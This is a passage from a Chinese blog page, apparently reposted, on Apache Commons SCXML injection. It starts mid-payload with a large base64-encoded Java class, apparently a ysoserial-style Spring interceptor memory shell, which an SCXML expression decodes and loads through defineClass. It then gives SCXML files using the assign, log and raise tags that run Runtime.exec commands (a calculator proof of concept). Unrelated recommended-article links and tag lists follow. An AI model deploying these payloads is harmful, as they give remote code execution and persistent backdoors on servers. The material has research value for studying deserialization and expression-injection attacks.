bndBQUFFZ0FCd0FWQUNVQXBBQ2xBQU1BQ0FBMUFLWUFtZ0FCQUVvQUp3Q2tBS1VBQkFCRUFEQUFwZ0NhQUFFQVBnQTRBS2NBcUFBREFBQUFlQUNwQUpZQUFBQUNBSFlBcWdDckFBSUFyQUFBQUNvQUEvOEFQUUFEQndDdEFBY0FGZ0FCQndDdS93QTJBQVFIQUswQUJ3QVdCd0N1QUFFSEFLNzZBQUVBcndBQUFBUUFBUUFYQUFrQW1BQ3dBQUVBblFBQUFLY0FCQUFEQUFBQU1BRk1FaHU0QUJ4TkxDcTJBQjBES3JZQUhyWUFIN3NBSUZrRUxMWUFJYmNBSWhBUXRnQWp0Z0FrVEtjQUJFMHJzQUFCQUFJQUtnQXRBQmNBQXdDZUFBQUFIZ0FIQUFBQU1RQUNBRFFBQ0FBMUFCVUFOZ0FxQURnQUxRQTNBQzRBT1FDZkFBQUFJQUFEQUFnQUlnQ3hBTElBQWdBQUFEQUFzd0NXQUFBQUFnQXVBTFFBbGdBQkFLd0FBQUFUQUFML0FDMEFBZ2NBclFjQXJRQUJCd0N1QUFBSkFMVUF0Z0FDQUowQUFBRkVBQVlBQlFBQUFISUJUUklNdUFBTlRDc1NKUUcyQUE4ckFiWUFFRTR0dGdBUkVpWUV2UUFUV1FNU0ZsTzJBQTh0QkwwQUZWa0RLbE8yQUJEQUFCUk5wd0E1VGhJbnVBQU5UQ3UyQUJrNkJCa0V0Z0FSRWlnRXZRQVRXUU1TRmxPMkFBOFpCQVM5QUJWWkF5cFR0Z0FRd0FBVVRhY0FCVG9FTExBQUFnQUNBRGNBT2dBWEFEc0Fhd0J1QUJjQUF3Q2VBQUFBTWdBTUFBQUFQZ0FDQUVBQUNBQkJBQlVBUWdBM0FFb0FPZ0JEQURzQVJRQkJBRVlBUndCSEFHc0FTUUJ1QUVnQWNBQkxBSjhBQUFCSUFBY0FGUUFpQUxjQXBRQURBQWdBTWdDbUFKb0FBUUJIQUNRQXR3Q2xBQVFBUVFBdEFLWUFtZ0FCQURzQU5RQ25BS2dBQXdBQUFISUFxUUNyQUFBQUFnQndBS29BbGdBQ0FLd0FBQUFxQUFQL0FEb0FBd2NBRmdBSEFLMEFBUWNBcnY4QU13QUVCd0FXQUFjQXJRY0FyZ0FCQndDdStnQUJBSzhBQUFBRUFBRUFGd0FCQUxnQXVRQUNBSjBBQUFmR0FBY0FGQUFBQkJjckVpbTVBQ29DQUJJcnRnQXNtUVFES3pvRUxEb0ZHUVRCQUMyYUFEY1NMaEl2QTcwQUU3WUFEem9HR1FZckE3MEFGYllBRURvRUdRVEJBQzJaQUFhbkFCTVpCaGtFQTcwQUZiWUFFRG9FcC8vb0dRWEJBRENhQURjU01SSXlBNzBBRTdZQUR6b0dHUVlzQTcwQUZiWUFFRG9GR1FYQkFEQ1pBQWFuQUJNWkJoa0ZBNzBBRmJZQUVEb0ZwLy9vS3hJenVRQXFBZ0FTTkxZQUxKa0FoaXNTTkxrQUtnSUFPZ1laQnNZQWRCa0d0Z0ExbWdCc0FUb0hFamE0QURlMkFEZ1NPYllBT3BrQUd3YTlBQlJaQXhJMFUxa0VFanRUV1FVWkJsTTZCNmNBR0FhOUFCUlpBeEk4VTFrRUVqMVRXUVVaQmxNNkI3c0FQbG00QUQ4WkI3WUFRTFlBUWJjQVFoSkR0Z0JFdGdCRk9nZ1pCY0FBTUxZQVJoa0l0Z0JIcHdMd0t4SXp1UUFxQWdBU1NMWUFMSmtCNWl1NUFFa0JBQkpLdGdCTG1RTFN1d0JNV2JjQVRUb0dHUVRBQUMyMkFFNDZCeGtHRWs4WkJMWUFVRmNaQmhKUkdRVzJBRkJYR1FZU1Voa0h0Z0JRVnl1NUFGTUJBTFlBVkRvSUdRakdBQXNaQ0xZQU5aa0E5QkpWT2dnWkJMWUFFUkpQdGdCV09na1pDUVMyQUZjWkNSa0V0Z0JZd0FCWk9nb1pDcllBRVJKYXRnQldPZ3NaQ3dTMkFGY1pDeGtLdGdCWXdBQmJPZ3daRExZQVhEb05HUTIyQUJFU1hiWUFWam9PR1E0RXRnQlhHUTRaRGJZQVdNQUFYam9QR1ErMkFGKzVBR0FCQURvUUdSQzVBR0VCQUprQWVSa1F1UUJpQVFEQUFHTTZFUmtSdVFCa0FRREFBQlFTWlJKbXRnQm5PaElaRWJrQWFBRUF3QUJwT2hNWkU3WUFhcG9BSExzQUJsbTNBQWNaQ0xZQUNCa1N0Z0FJdGdBSk9naW5BQ3E3QUFaWnR3QUhHUWkyQUFnWkVyWUFDQkpydGdBSUdSTUR0Z0Jzd0FBVXRnQUl0Z0FKT2dpbi80TVNBam9KR1FjU2JSa0p1UUJ1QXdBU2I3Z0FjRG9LR1FvRnV3QnhXUmtKdGdBZEVtKzNBSEsyQUhNU2RMZ0FEUkoxQnIwQUUxa0RFaFpUV1FTeUFIWlRXUVd5QUhaVHRnQjNPZ3NaQ3dTMkFIZ1pDcnNBZVZtM0FIb1pDTFlBZTdZQWZEb01HUXU0QUgyMkFINEd2UUFWV1FNWkRGTlpCQU80QUg5VFdRVVpETDY0QUg5VHRnQVF3QUFUT2cwWkRiWUFHUmtHdGdDQVY2Y0EvU3NTTTdrQUtnSUFFb0cyQUN5WkFPMHJLclFBQmJrQWdnSUF1QUNET2dZcUdRWUR0Z0NFT2dZcXRBQ0Z4d0JrdXdDR1dRTzlBSWU0QUgyMkFINjNBSWc2QnhLSkVuVUd2UUFUV1FNU0ZsTlpCTElBZGxOWkJiSUFkbE8yQUhjNkNCa0lCTFlBZUNvWkNCa0hCcjBBRlZrREdRWlRXUVFEdUFCL1Uxa0ZHUWErdUFCL1U3WUFFTUFBRTdVQWhhY0FiYnNBaWxtM0FJczZCeXEwQUlXMkFCazZDQmtJR1FlMkFJQlhHUWdaQnJZQWdGY1pDQ3UyQUlCWExMa0FqQUVBS3JRQUN3TVFFTFlBamJZQWpoa0l0Z0NQVnl5NUFJd0JBQ29aQjdZQWtBUzJBSVM0QUpHMkFJNHN1UUNNQVFBcXRBQUxFQkMyQUpLMkFJNERyS2NBQlRvRUJLd0FBUUFBQkE4RUV3QVhBQVFBbmdBQUFVNEFVd0FBQUZJQUVBQlRBQk1BVkFBV0FGY0FIZ0JZQUNzQVdRQTNBRnNBUWdCY0FGSUFZQUJhQUdFQVp3QmlBSE1BWkFCK0FHVUFqZ0JwQUo0QWFnQ29BR3NBdFFCc0FMZ0FiUURJQUc0QTRBQndBUFVBY2dFUkFITUJIZ0IxQVRFQWRnRS9BSGdCU0FCN0FWSUFmQUZjQUgwQlpnQitBWEFBZ0FGN0FJRUJpQUNDQVl3QWhBR1lBSVVCbmdDR0Fhb0FpQUcyQUlrQnZBQ0tBY2dBaXdIUEFJd0Iyd0NOQWVFQWpnSHRBSkFCK1FDUkFnTUFrZ0lQQUpNQ0lnQ1VBaTRBbFFJMkFKWUNUd0NZQW5ZQW1nSjVBSjhDZlFDZ0FvZ0FvUUtQQUtJQ293Q2pBc1FBcEFMS0FLVUMzUUNtQXdZQXB3TVJBS2dERkFDcEF5UUFxd016QUt3RFBBQ3RBME1BcmdOV0FLOERkQUN3QTNvQXNRT2hBTElEcEFDekE2MEF0QU8yQUxVRHZnQzJBOFlBdHdQTkFMZ0Q0QUM1QStZQXVnUDhBTHNFRGdDK0JCQUF3Z1FUQU1BRUZRRERBSjhBQUFGZ0FDTUFLd0FuQUxvQXV3QUdBR2NBSndDOEFMc0FCZ0M0QUdZQXZRQytBQWNCRVFBTkFMOEFsZ0FJQUtnQWRnREFBSllBQmdJUEFHY0F3UURFQUJFQ0lnQlVBTVVBbGdBU0FpNEFTQURHQU1jQUV3R1lBT0VBeUFESkFBa0JxZ0RQQU1vQXl3QUtBYllBd3dETUFNa0FDd0hJQUxFQXpRRE9BQXdCendDcUFNOEEwQUFOQWRzQW5nRFJBTWtBRGdIdEFJd0EwZ0RUQUE4QitRQ0FBTlFBMVFBUUFVZ0J5UURXQU5jQUJnRlNBYjhBMkFEWkFBY0Jld0dXQUprQWxnQUlBbjBBbEFEYUFKWUFDUUtQQUlJQTJ3RGNBQW9DeEFCTkFOMEF1d0FMQXQwQU5BRGVBS3NBREFNR0FBc0Ezd0NhQUEwRFZnQkxBT0FBNFFBSEEzUUFMUURpQUxzQUNBT3RBR0VBNHdEa0FBY0R0Z0JZQU9VQXBRQUlBek1BMndEbUFLc0FCZ0FUQS8wQTV3Q2xBQVFBRmdQNkFPZ0FwUUFGQUFBRUZ3Q2dBS0VBQUFBQUJCY0E2UURxQUFFQUFBUVhBT3NBN0FBQ0FBQUVGd0R0QUtVQUF3RHVBQUFBSUFBREFnOEFad0RCQU84QUVRSXVBRWdBeGdEd0FCTUIrUUNBQU5RQThRQVFBS3dBQUFDMUFCWCtBRGNIQVBJSEFQSUhBUE1LK2dBUC9BQWdCd0R6Q3ZvQUQvMEFVUWNBclFjQTlCVDVBQ2dDL2dCbUJ3RDFCd0QyQndDdC93QndBQkVIQVBjSEFQZ0hBUGtIQVBJSEFQSUhBUElIQVBVSEFQWUhBSzBIQVBvSEFQc0hBUG9IQVB3SEFQMEhBUG9IQVA0SEFQOEFBUDRBVlFjQkFBY0FyUWNCQWZnQUp2OEFBZ0FKQndEM0J3RDRCd0Q1QndEeUJ3RHlCd0R5QndEMUJ3RDJCd0N0QUFENEFKcjhBSThIQUJiNkFHbjVBQUZDQndDdUFRQ3ZBQUFBQkFBQkFCY0FBUUVDQVFNQUFRQ2RBQUFBMkFBR0FBUUFBQUFzRW0rNEFIQk9MUnlaQUFjRXB3QUVCYnNBY1ZrcXRBQUR0Z0FkRW0rM0FISzJBSE10SzdZQWZMQk9BYkFBQVFBQUFDZ0FLUUFYQUFNQW5nQUFBQllBQlFBQUFNZ0FCZ0RKQUNNQXlnQXBBTXNBS2dETUFKOEFBQUEwQUFVQUJnQWpBTnNBM0FBREFDb0FBZ0NuQUtnQUF3QUFBQ3dBb0FDaEFBQUFBQUFzQUxNQXF3QUJBQUFBTEFDeEFRUUFBZ0NzQUFBQVBBQUQvd0FQQUFRSEFQY0hBQllCQndFRkFBRUhBUVgvQUFBQUJBY0E5d2NBRmdFSEFRVUFBZ2NCQlFIL0FCZ0FBd2NBOXdjQUZnRUFBUWNBcmdBQ0FRWUFBQUFDQVFjQXd3QUFBQW9BQVFCakFXa0F3Z1lKAQA7b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuc2VydmxldC5zdXBwb3J0LlJlcXVlc3RDb250ZXh0VXRpbHMMAIoAiwEAD2phdmEvbGFuZy9DbGFzcwEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QMAIwAjQEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BABlmaW5kV2ViQXBwbGljYXRpb25Db250ZXh0AQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAcAiQwAjgCPAQAQamF2YS9sYW5nL09iamVjdAcAkAwAkQCSAQBAb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1NlcnZsZXRSZXF1ZXN0QXR0cmlidXRlcwwAkwCUDACVAJYBADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dAEAUm9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQubXZjLm1ldGhvZC5hbm5vdGF0aW9uLlJlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcMAJcAmAEAPm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXJNYXBwaW5nAQAob3JnL3NwcmluZ2ZyYW1ld29yay9iZWFucy9CZWFuc0V4Y2VwdGlvbgEATm9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQubXZjLmFubm90YXRpb24uRGVmYXVsdEFubm90YXRpb25IYW5kbGVyTWFwcGluZwwAmQCaBwCbDACcAJ0BABNqYXZhL3V0aWwvQXJyYXlMaXN0AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwAngCfDACgAKEHAKIMAKMApAwApQCmAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQALZGVmaW5lQ2xhc3MBABBqYXZhL2xhbmcvU3RyaW5nBwCnDACoADoBADZ5c29zZXJpYWwucGF5bG9hZHMudGVtcGxhdGVzLlNwcmluZ0ludGVyY2VwdG9yVGVtcGxhdGUMAKkAqgwAqwCLDACsAK0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAGSW5qZXh0AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBAApnZXRSZXF1ZXN0AQApKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAdnZXRCZWFuAQAlKExqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAJbG9hZENsYXNzAQADYWRkAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaACEALAANAAAAAAACAAEALQAuAAEALwAAADMAAQABAAAABSq3AAGxAAAAAgAwAAAACgACAAAAMAAEADIAMQAAAAwAAQAAAAUAMgAzAAAACAA0AC4AAQAvAAAC4gAGAAoAAAEOEgJLEgO4AAROLRIFBL0ABlkDEgdTtgAITKcAFToELRIKBL0ABlkDEgtTtgAITCsEtgAMKwEEvQANWQO4AA7AAA+2ABBTtgARwAASOgQSE7gABDoFGQQZBbkAFAIAwAAVTacAGToFEhe4AAQ6BhkEGQa5ABQCAMAAFU0SFRIYtgAZOgUZBQS2ABoZBSy2ABvAABw6BhIdtgAewAAdKrYAHzoHuAAgtgAhOggSIhIjB70ABlkDEiRTWQQSJVNZBbIAJlNZBrIAJlO2AAg6CRkJBLYADBkJGQgHvQANWQMSJ1NZBBkHU1kFA7gAKFNZBhkHvrgAKFO2ABFXGQYZCBIntgAptgAetgAqV6cABE6xAAMACQAZABwACQBNAGEAZAAWAAMBCQEMACsABAAwAAAAagAaAAAAEQADABUACQAXABkAGgAcABgAHgAZAC4AGwAzABwATQAeAFQAHwBhACMAZAAgAGYAIQBtACIAegAkAIMAJQCJACYAlAAnAKIAKACqACkAzQAqANMAKwD5ACwBCQAuAQwALQENAC8AMQAAAKIAEAAZAAMANQA2AAEAHgAQADcAOAAEAFQADQA5ADoABQBhAAMAOwA8AAIAbQANAD0AOgAGAGYAFAA+AD8ABQAJAQAAQAA6AAMATQC8AEEAQgAEAIMAhgBDAEQABQCUAHUARQBGAAYAogBnAEcASAAHAKoAXwBJAEoACADNADwASwA2AAkALgDeADUANgABAHoAkgA7ADwAAgADAQoATABNAAAATgAAACoABABUAA0AOQBPAAUAbQANAD0ATwAGAAkBAABAAE8AAwCUAHUARQBQAAYAUQAAAGIABv8AHAAEBwBSAAAHAFMAAQcAVP8AEQAEBwBSBwBVAAcAUwAA/wA1AAUHAFIHAFUABwBTBwBWAAEHAFf/ABUABQcAUgcAVQcAWAcAUwcAVgAA/wCRAAEHAFIAAQcAWfoAAAABAFoAAAACAFs=\';var bytecode;try{var clsBase64 = classLoader.loadClass(\'java.util.Base64\');var clsDecoder = classLoader.loadClass(\'java.util.Base64$Decoder\');var decoder = clsBase64.getMethod(\'getDecoder\').invoke(base64Clz);bytecode = clsDecoder.getMethod(\'decode\', clsString).invoke(decoder, bytecodeBase64);} catch (ee) {try {var datatypeConverterClz = classLoader.loadClass(\'javax.xml.bind.DatatypeConverter\');bytecode = datatypeConverterClz.getMethod(\'parseBase64Binary\', clsString).invoke(datatypeConverterClz, bytecodeBase64);} catch (eee) {var clazz1 = classLoader.loadClass(\'sun.misc.BASE64Decoder\');bytecode = clazz1.newInstance().decodeBuffer(bytecodeBase64);}}var clsClassLoader = classLoader.loadClass(\'java.lang.ClassLoader\');var clsByteArray = (new java.lang.String(\'a\').getBytes().getClass());var clsInt = java.lang.Integer.TYPE;var defineClass = clsClassLoader.getDeclaredMethod(\'defineClass\', [clsByteArray, clsInt, clsInt]);defineClass.setAccessible(true);var clazz = defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance();}')" />
</onentry>
</state>
</scxml>
复制代码
0x03 其他标签:
<assign>标签
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0">
<state id="example">
<onentry>
<assign location="test" expr="''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open -a calculator')"/>
</onentry>
</state>
</scxml>
复制代码
<log>标签:
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0">
<state id="example">
<onentry>
<log expr="''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open -a calculator')"/>
</onentry>
</state>
</scxml>
复制代码
<raise>标签:
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0">
<state id="state1">
<transition target="state2"/>
</state>
<state id="state2">
<onentry>
<log expr="''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open -a calculator')"/>
</onentry>
</state>
<state id="state3">
<onentry>
<raise event="myevent"/>
</onentry>
</state>
<transition target="state1" event="myevent"/>
</scxml>
复制代码
from https://1oecho.github.io/mCQ5Tu20m/
相关推荐
- 《每日电讯报》研发数字工具,教你更有效率地报道新闻
-
为鼓励新闻编辑部持续创新,《每日电讯报》正在尝试有战略地研发数字工具。网站的数字媒体主任马尔科姆o科尔斯(MalcolmColes)表示,《每日电讯报》正试图去“创建一些可持续资产”,以便于让记者们...
- html5学得好不好,看掌握多少标签
-
html5你了解了多少?如果你还是入门阶段的话,或者还是一知半解的话,那么我们专门为你们收集的html5常用的标签大全对你就很有帮助了,你需要了解了html5有哪些标签你才能够更好的。驾驭html5...
- 前端分享-少年了解过iframe么(我想了解少年)
-
iframe就像是HTML的「内嵌画布」,允许在页面中加载独立网页,如同在画布上叠加另一幅动态画卷。核心特性包括:独立上下文:每个iframe都拥有独立的DOM/CSS/JS环境(类似浏...
- 做SEO要知道什么是AJAX(人能看到但搜索引擎看不到的内容)
-
一个明显的,人能看到但搜索引擎不能看到的内容是AJAX。那么什么是AJAX呢?其实,了解过的基本上也都清楚,AJAX不是新的编程语言,而是一种使用现有标准的新方法。AJAX最大的优点是在不重新加...
- 介绍最前沿的人工智能创新,‘无反向传播’神经网络训练方法?
-
图像由GoogleImageFX生成前言:本文整理自NoProp原始论文与实践代码,并结合多个公开实现细节进行了全流程复现。对神经网络训练机制的探索仍在不断演进,如果你也在研究反向传播之...
- 说说我们对HTML6的期许(对html的看法)
-
HTML5概述HTML5是HTML语言最受欢迎的版本之一,它支持音频和视频、离线存储、移动端、和标签属性等等。还提供了article,section,header这样的标签来帮助开发者更好...
- 浏览器中在线预览pdf文件,pdf.mjs插件实现web预览pdf
-
背景:本来只是淘宝上卖卖袜子,想着扩展一下业务,准备做同名“来家居”海外袜子馆外贸项目,碰到pdf在线预览的需求,就找了pdf.js插件进行实践后把此方法记录下来,可以通过多种方法来实现,每种方法都有...
- SVG 在前端的7种使用方法,你还知道哪几种?
-
本文简介点赞+关注+收藏=学会了技术一直在演变,在网页中使用SVG的方法也层出不穷。每个时期都有对应的最优解。所以我打算把我知道的7种SVG的使用方法列举出来,有备无患~如果你还...
- HTML5常用标签大全(html5em标签)
-
HTML前端开发最终取决于掌握标签的多少HTML大概有七八百个标签楼主这里给大家总结了下HTML常用标签标签描述<!--...-->定义注释。<!DOCTYPE>定义文档类型...
- "伪君子Snoop Dogg!"... WHAT?| MetroDaily 24/7
-
TUE.01-新作品-虽说年纪大了会有点糊涂,但是最近SnoopDogg的这波操作实在是让粉丝们有点迷,甚至有人表示没想到他是这样的"伪君子"......而这一切都源于他近日在IG上Po出的一...
- 莎夏·班克斯盼望表哥Snoop Dogg为其作出场曲
-
NXT女子冠军莎夏·班克斯(SashaBanks)近日接受了迈阿密先驱报采访,访谈纪要如下:关于她出众的形象:“我一向喜欢与众不同。为了能让人眼前一亮,我的装束总是非常前卫、非常抢眼,这样才能让观众...
- 喜欢Snoop!全球第一间「史努比博物馆」海外分馆在东京!
-
1950年起,由美國漫畫家CharlesM.Schulz創作的作品《Snoopy》史努比,其鮮明的可愛角色與幽默的劇情內容,至今仍成為許多大朋友與小朋友心中的最愛。為了紀念作者所設立的全球首...
- Vetements 推出 Snoop Dogg 肖像「天价」T-Shirt
-
Vetements的CEOGuramGvasalia早前才透露品牌经营策略的秘密–Vetements如何成为人人热议的话题品牌。但似乎他仍有更多需要解释的东西–这个法国奢侈品牌最新...
- 狗爷Snoop Dogg的《I Wanna Thank Me》巡回演唱会旧金山站
-
西海岸匪帮说唱歌手SnoopDogg在《IWannaThankMe》巡回演唱会旧金山站表演(图片来自ICphoto)西海岸匪帮说唱歌手SnoopDogg(图片来自ICphoto)西海...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- maven镜像 (69)
- undefined reference to (60)
- zip格式 (63)
- oracle over (62)
- date_format函数用法 (67)
- 在线代理服务器 (60)
- shell 字符串比较 (74)
- x509证书 (61)
- localhost (65)
- java.awt.headless (66)
- syn_sent (64)
- settings.xml (59)
- 弹出窗口 (56)
- applicationcontextaware (72)
- my.cnf (73)
- httpsession (62)
- pkcs7 (62)
- session cookie (63)
- java 生成uuid (58)
- could not initialize class (58)
- beanpropertyrowmapper (58)
- word空格下划线不显示 (73)
- jar文件 (60)
- jsp内置对象 (58)
- makefile编写规则 (58)